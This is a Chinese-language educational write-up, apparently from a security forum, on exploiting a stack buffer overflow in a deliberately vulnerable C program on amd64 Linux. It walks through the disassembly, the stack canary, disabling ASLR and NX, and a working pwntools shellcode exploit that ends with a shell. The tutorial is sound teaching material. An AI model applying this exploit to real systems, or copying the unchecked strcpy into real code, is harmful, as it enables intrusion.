一
栈的介绍
二
使用栈的局部变量
三
栈溢出原理
四
示例讲解
#include <stdio.h>
#include <stdlib.h>
#include <string.h>static void simple_overflow(char* in_val)
{
char buf[12];strcpy(buf, in_val);
printf("buffer content: %s\n", buf);
}int main(int argc, char* argv[])
{
if (!argv[1]) {
printf("need argv[1], will exit...\n");
return 0;
}getchar();
simple_overflow(argv[1]);
printf("has return\n");
return 0;
}
main
函数接收命令行作为参数,并将argv[1]
传递给函数simple_overflow
,函数会将argv[1]
复制给缓冲区变量buf
。gcc
和编译选项-g
进行编译。成功开启PWN成功之路的第一步!objdump
对生成的二进制进行反汇编,下面会对反汇编结果进行解释。0000000000001179 <simple_overflow>:
1179: 55 push %rbp
117a: 48 89 e5 mov %rsp,%rbp
117d: 48 83 ec 30 sub $0x30,%rsp
1181: 48 89 7d d8 mov %rdi,-0x28(%rbp)
1185: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
118c: 00 00
118e: 48 89 45 f8 mov %rax,-0x8(%rbp)
1192: 31 c0 xor %eax,%eax
1194: 48 8b 55 d8 mov -0x28(%rbp),%rdx
1198: 48 8d 45 ec lea -0x14(%rbp),%rax
119c: 48 89 d6 mov %rdx,%rsi
119f: 48 89 c7 mov %rax,%rdi
11a2: e8 89 fe ff ff call 1030 <strcpy@plt>
11a7: 48 8d 45 ec lea -0x14(%rbp),%rax
11ab: 48 89 c6 mov %rax,%rsi
11ae: 48 8d 05 4f 0e 00 00 lea 0xe4f(%rip),%rax # 2004 <_IO_stdin_used+0x4>
11b5: 48 89 c7 mov %rax,%rdi
11b8: b8 00 00 00 00 mov $0x0,%eax
11bd: e8 9e fe ff ff call 1060 <printf@plt>
11c2: 90 nop
11c3: 48 8b 45 f8 mov -0x8(%rbp),%rax
11c7: 64 48 2b 04 25 28 00 sub %fs:0x28,%rax
11ce: 00 00
11d0: 74 05 je 11d7 <simple_overflow+0x5e>
11d2: e8 79 fe ff ff call 1050 <__stack_chk_fail@plt>
11d7: c9 leave
11d8: c3 ret00000000000011d9 <main>:
11d9: 55 push %rbp
11da: 48 89 e5 mov %rsp,%rbp
11dd: 48 83 ec 10 sub $0x10,%rsp
11e1: 89 7d fc mov %edi,-0x4(%rbp)
11e4: 48 89 75 f0 mov %rsi,-0x10(%rbp)
11e8: 48 8b 45 f0 mov -0x10(%rbp),%rax
11ec: 48 83 c0 08 add $0x8,%rax
11f0: 48 8b 00 mov (%rax),%rax
11f3: 48 85 c0 test %rax,%rax
11f6: 75 16 jne 120e <main+0x35>
11f8: 48 8d 05 19 0e 00 00 lea 0xe19(%rip),%rax # 2018 <_IO_stdin_used+0x18>
11ff: 48 89 c7 mov %rax,%rdi
1202: e8 39 fe ff ff call 1040 <puts@plt>
1207: b8 00 00 00 00 mov $0x0,%eax
120c: eb 2c jmp 123a <main+0x61>
120e: e8 5d fe ff ff call 1070 <getchar@plt>
1213: 48 8b 45 f0 mov -0x10(%rbp),%rax
1217: 48 83 c0 08 add $0x8,%rax
121b: 48 8b 00 mov (%rax),%rax
121e: 48 89 c7 mov %rax,%rdi
1221: e8 53 ff ff ff call 1179 <simple_overflow>
1226: 48 8d 05 06 0e 00 00 lea 0xe06(%rip),%rax # 2033 <_IO_stdin_used+0x33>
122d: 48 89 c7 mov %rax,%rdi
1230: e8 0b fe ff ff call 1040 <puts@plt>
1235: b8 00 00 00 00 mov $0x0,%eax
123a: c9 leave
123b: c3 ret
main
函数还是simple_overflow
函数,起开头都会有下面的三条指令。栈的介绍
中说过,每个函数的栈都是独立的,栈空间的范围通过栈底指针寄存器(amd64:rbp
)和栈顶指针寄存器(amd64:rsp
)标识,新数据入栈会放入栈的最顶部,而rsp
一直指向栈顶,所以并不会受新数据入栈的影响,只需要1个寄存器保存即可。rbp
放入栈内,再将调用函数的栈顶放入rbp
内,作为被调用函数的栈底,最后通过sub
指令分配栈空间。push %rbp
mov %rsp,%rbp
sub $0x10,%rsp
main
函数在处理好栈之后,就会开始处理形参,形参根据调用协议放入指定位置,常见的调用协议有fastcall
、stdcall
等等但不管哪种调用协议,形参位置都会放入寄存器或栈空间内。edi
占用0x4字节,rsi
占用0x6字节,由此推测edi
对应int
类型的argc
,rsi
对应char**
的argv
,其中目前的实验环境是64位的Linux虚拟机,虚拟地址空间只占用了48位,因此是0x6字节(1字节是8比特,48 / 8 = 6
)。mov %edi,-0x4(%rbp)
mov %rsi,-0x10(%rbp)
ar
gv
,会发现其中参数来源于父函数栈,而且栈上还保存着许多命令行的环境变量。(gdb) x /s 0x00007fffffffe261
0x7fffffffe261: "jhH\270/bin///sPH\211\347hri\001\001\2014$\001\001\001\0011\366Vj\b^H\001\346VH\211\3461\322j;X\017\005", 'A' <repeats 64 times>, "BBBBBBBB\220\335\377\377\377\177"
(gdb)
0x7fffffffe2e0: "SHELL=/bin/bash"
(gdb)
0x7fffffffe2f0: "COLORTERM=truecolor"
(gdb)
0x7fffffffe304: "TERM_PROGRAM_VERSION=1.87.2"
(gdb)
0x7fffffffe320: "LC_ADDRESS=en_US.UTF-8"
(gdb)
0x7fffffffe337: "LC_NAME=en_US.UTF-8"
(gdb)
0x7fffffffe34b: "LC_MONETARY=en_US.UTF-8"
rax
,因为使用argv[1]
进行判断,所以再将argv
放入rax
后,会在偏移0x8字节到达argv[1]
,然后将argv[1]
指针对应的内容放入rax
。最后使用test
和jne
指令进行条件跳转。mov -0x10(%rbp),%rax
add $0x8,%rax
mov (%rax),%rax
test %rax,%rax
jne 120e
argv[1]
没有收到参数时,就会从取出字符串交给rax
,然后根据调用协议传递给rdi
,调用打印函数,最后将返回值赋给rax
返回。printf
函数,但是因为没有任何的参数传递给打印字符串,所以这里直接使用了puts
函数。lea 0xe19(%rip),%rax # 2018 <_IO_stdin_used+0x18>
mov %rax,%rdi
call 1040 <puts@plt>
mov $0x0,%eax
jmp 123a <main+0x61>
argv[1]
时,会先调用函数getchar
,这个函数的主要作用是等待字符输入,没有输入就一直停留在这里,使得我们可以方便的挂到调试器上。call 1070 <getchar@plt>
main
函数就会开始准备调用simple_overflow
函数,此处处理可以发现与前面处理argv[1]
以及处理待发送的形参类似,因此不在过多赘述。mov -0x10(%rbp),%rax
add $0x8,%rax
mov (%rax),%rax
mov %rax,%rdi
call 1179 <simple_overflow>
simple_overflow
函数完成调用后,会再进行一次打印。lea 0xe06(%rip),%rax # 2033 <_IO_stdin_used+0x33>
mov %rax,%rdi
call 1040 <puts@plt>
mov
指令负责将返回值交给rax
,leave
指令负责释放分配的栈空间并恢复栈底指针寄存器,ret
指令负责从栈上取出返回值并返回。mov $0x0,%eax
leave
ret
main
函数后,接着再了解一下simple_overflow
函数,其中函数开始部分、形参处理、结尾部分、打印部分都不会再进行解析了。simple_overflow
函数会从fs
中取出1个数值交给rax
,最后放入栈内,xor
会对数值进行与运算,当数值与自己进行与运算时,就会将自己清零。mov %fs:0x28,%rax
mov %rax,-0x8(%rbp)
xor %eax,%eax
fs
上数值进行比对,如果不一样就会调用__stack_chk_fail
函数。mov -0x8(%rbp),%rax
sub %fs:0x28,%rax
je 11d7 <simple_overflow+0x5e>
call 1050 <__stack_chk_fail@plt>
strcpy
函数准备形参,其中rbp-0x28
是main
函数传递过来的形参,rbp-0x14
是本地缓冲区变量的所在位置。strcpy
函数会将形参中的内容复制给本地缓冲区变量,因此strcpy
函数复制时并不会考虑形参的内容是否超过本地缓冲区变量的容量,只会在遇到字符串结束符\0
时才会停止。mov -0x28(%rbp),%rdx
lea -0x14(%rbp),%rax
mov %rdx,%rsi
mov %rax,%rdi
call 1030 <strcpy@plt>
pwntools
是专门为PWN设置的工具,可以借助python方便的使用pwntools
,然后借助pwntools
中的工具快速建立脚本,对目标进行PWN。pwntools
中的shellcode
生成功能以及地址转换功能进行开发,其中shellcode
是控制执行流后需要执行的内容,一般会建立shell
环境,使得执行流打开终端,让我们可以随意输入命令。exploit
指漏洞利用脚本,exploit
会对程序的漏洞进行利用。shellcode
组成。shellcode
的所在位置,考虑到shellcode
位于栈上,因此可以借助rbp
或rsp
索引shellcode
。rbp
或rsp
的位置,然后再计算shellcode
的位置。rbp
或rsp
的数值打印出来就可以。register __uint64_t sbp_val asm("xxx");
1: get rbp: 0x7ffd21d27d00, rsp: 0x7ffd21d27cd0
2. get rbp: 0x7ffe71bd5a70, rsp: 0x7ffe71bd5a40
3. get rbp: 0x7ffe2ba2b780, rsp: 0x7ffe2ba2b750
Address Space Layout Randomization
技术,提高内存布局的随机性。/proc/sys/kernel/randomize_va_space
进行查看,当然也可也通过虚文件打开和关闭。其中0代表关闭,1代表部分开启(mmap的基址、stack、vdso)、2代表全部开启。echo 0 | sudo tee -a /proc/sys/kernel/randomize_va_space
就可以将ASLR关闭了。rbp
及rsp
中保存的数值就会稳定下来,此时再去设置返回地址就万无一失了!exploit
,开始PWN!import os
import pwn# 设置pwntools环境
pwn.context.clear()
pwn.context.update(arch = 'amd64', os = 'linux')# 生成shellcode
shellcode_src = pwn.shellcraft.sh()
shellcode_raw_bytes = pwn.asm(shellcode_src)# 构造payload
rbp_addr = 0x7fffffffde00
shellcode_gap = 0x8 * 2 # 父函数栈底指针占用空间 + 返回地址占用空间,0x8为64位下指针类型数据占用的空间大小
hijack_ret = pwn.p64(rbp_addr + shellcode_gap)
payload = 'A' * 0x14 # 0x14为本地缓冲区变量到栈底的偏移值,使用字符A覆盖本地缓冲区变量到栈底的位置
payload += 'B' * 0x8
payload += '{0}'.format(str(hijack_ret)[2:-1])
payload += '{0}'.format(str(shellcode_raw_bytes)[2:-1])# 执行程序
exec_path = './bufof'
os.system('{0} {1}'.format(exec_path, payload))
exploit
后,发现程序因为异常退出了,打印如下的语句。*** stack smashing detected ***: terminated
simple_overflow
中一段特别的代码,原来它会从fs
中取出1个随机值放入栈内,当函数准备返回时,就会取出保存在栈上的随机值进行查看,如果数值发生变化,就会调用__stack_chk_fail
函数,然后退出。-fno-stack-protector
将该机制暂时关闭。exploit
,发现程序收到了异常信号。Program terminated with signal SIGSEGV, Segmentation fault.
strcpy
函数执行后的栈空间,可以看到返回地址上并不是地址,地址对应的字符。(gdb) x /20c $rbp
0x7fffffffde00: 66 'B' 66 'B' 66 'B' 66 'B' 66 'B' 66 'B' 66 'B' 66 'B'
0x7fffffffde08: 120 'x' 49 '1' 48 '0' 120 'x' 100 'd' 101 'e' 120 'x' 102 'f'
0x7fffffffde10: 102 'f' 120 'x' 102 'f' 102 'f'
\x7f
这样的字符时,前缀\x
并不会被自动解释,所以需要先获取解释前缀\x
后对应字符,然后将解释获得的字符作为命令行参数传递。echo
,通过查看echo
的使用文档可以知道,添加-e选项就可以对\x
进行解释。-e enable interpretation of backslash escapes echo -e "\xff"
�
payload
,让它可以传递原始比特数据对应的字符。payload += '$(echo -e \"{0}\")'.format(str(hijack_ret)[2:-1])
payload += '$(echo -e \"{0}\")'.format(str(shellcode_raw_bytes)[2:-1])
payload
传输后,发现仍无法进行PWN,观察栈上的返回地址后,发现0xffffde40 0x00007fff
变成了0xffffde40 0x686a7fff
,这显然与预期中使用0填充空间的情况有所误差。x /20x $rbp
0x7fffffffde30: 0x42424242 0x42424242 0xffffde10 0x686a7fff
0x7fffffffde40: 0x622fb848 0x2f2f6e69 0x4850732f 0x7268e789
0x7fffffffde50: 0x81010169 0x01012434 0xf6310101 0x5e086a56
0x7fffffffde60: 0x56e60148 0x31e68948 0x583b6ad2 0x0000050f
0x7fffffffde70: 0x55554040 0x00000002 0x555551a6 0x00005555
686a
,不难知道,它来自于shellcode
,在目前的构造中shellcode
,位于返回地址的后方。shellcode
的位置。假如将shellcode
向前放置,就需要本地缓冲区变量到返回地址间的空间是足够容纳shellcode
的,现在的空间显然是不够的,所以shellcode
前置的方法需要增大本地缓冲区变量的容量。shellcode
前置,前面通过观察argv
可以知道,argv
所在的栈空间会将一部分的命令行环境变量放进来,因此提前设置好shellcode
的环境变量,然后再跳过去也是一种方案。shellcode
前置的方案。payload
。rbp_addr = 0x7fffffffde00
shellcode_gap = 0x8 * 2 # 父函数栈底指针占用空间 + 返回地址占用空间,0x8为64位下指针类型数据占用的空间大小
hijack_ret = pwn.p64(rbp_addr - 0x70) # 0x70为本地缓冲区变量到栈底的偏移值
payload = '$(echo -e \"{0}\")'.format(str(shellcode_raw_bytes)[2:-1])
payload += 'A' * (0x70 -0x30) # 0x30是shellcode的长度,使用字符A覆盖本地缓冲区变量到栈底的位置
payload += 'B' * 0x8
payload += '$(echo -e \"{0}\")'.format(str(hijack_ret)[2:-1])
shellcode
的所在位置,但是一执行就又崩掉了。1: x/i $rip
=> 0x7fffffffdd90: push $0x68
(gdb)Program received signal SIGSEGV, Segmentation fault.
maps
文件,maps
文件位于Linux中的proc
目录,其中对应进程目录下记录了各种与进程相关的信息,而maps
文件就是进程的内存布局图。maps
文件后,可以确认现在的栈的确是不可执行的。7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
-z execstack
,使得栈变成可以执行的状态。exploit
,就可以成功得到shell
,完成PWN了!python ./exploit.py
sh: line 1: warning: command substitution: ignored null byte in input
buffer content: jhH�/bin///sPH��hri�4$1�V^H�VH��1�j;XAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�����
sh-5.2$
看雪ID:福建炒饭乡会
https://bbs.kanxue.com/user-home-1000123.htm
# 往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多